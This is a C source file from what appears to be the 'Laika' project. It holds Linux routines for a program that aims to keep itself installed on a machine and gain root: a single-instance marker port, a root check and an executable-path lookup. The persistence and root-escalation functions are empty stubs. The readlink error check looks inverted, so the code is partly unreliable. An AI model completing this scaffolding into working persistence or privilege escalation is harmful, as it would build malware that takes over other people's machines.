mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-10 00:00:05 +00:00
84 lines
1.9 KiB
C
84 lines
1.9 KiB
C
/* platform specific code for achieving persistence on linux */
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/* this is only used to check if another instance of laika is currently running */
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#define LAIKA_RESERVED_PORT 32876
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#include "persist.h"
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#include "lsocket.h"
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#include "lerror.h"
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#include <unistd.h>
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#include <sys/types.h>
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static struct sLaika_socket laikaB_markerPort;
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/* check if laika is already running */
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bool laikaB_checkRunning() {
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return true; /* stubbed for now */
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}
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/* check if laika is already installed on current machine */
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bool laikaB_checkPersist() {
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return true; /* stubbed for now */
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}
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/* check if laika is running as super-user */
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bool laikaB_checkRoot() {
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return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */
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}
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/* mark that laika is currently running */
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void laikaB_markRunning() {
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#ifndef DEBUG
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LAIKA_TRY
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laikaS_initSocket(&laikaB_markerPort, NULL, NULL, NULL, NULL);
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laikaS_bind(&laikaB_markerPort, LAIKA_RESERVED_PORT);
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LAIKA_CATCH
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LAIKA_DEBUG("Failed to bind marker port, laika is already running!\n");
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exit(0);
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LAIKA_TRYEND
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#endif
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}
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/* unmark that laika is currently running */
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void laikaB_unmarkRunning() {
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#ifndef DEBUG
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laikaS_kill(&laikaB_markerPort);
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#endif
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}
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void getCurrentExe(char *outPath, int pathSz) {
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int sz;
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/* thanks linux :D */
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if ((sz = readlink("/proc/self/exe", outPath, pathSz - 1)) != 0)
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LAIKA_ERROR("Failed to grab current process executable path!\n");
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outPath[sz] = '\0';
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}
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void tryPersistUser(char *path) {
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}
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void tryPersistRoot(char *path) {
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}
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/* try to gain persistance on machine */
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void laikaB_tryPersist() {
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char exePath[PATH_MAX];
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/* grab current process's executable & try to gain persistance */
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getCurrentExe(exePath, PATH_MAX);
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if (laikaB_checkRoot()) {
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tryPersistRoot(exePath);
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} else {
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tryPersistUser(exePath);
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}
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}
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/* try to gain root */
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void laikaB_tryRoot() {
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/* stubbed */
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} |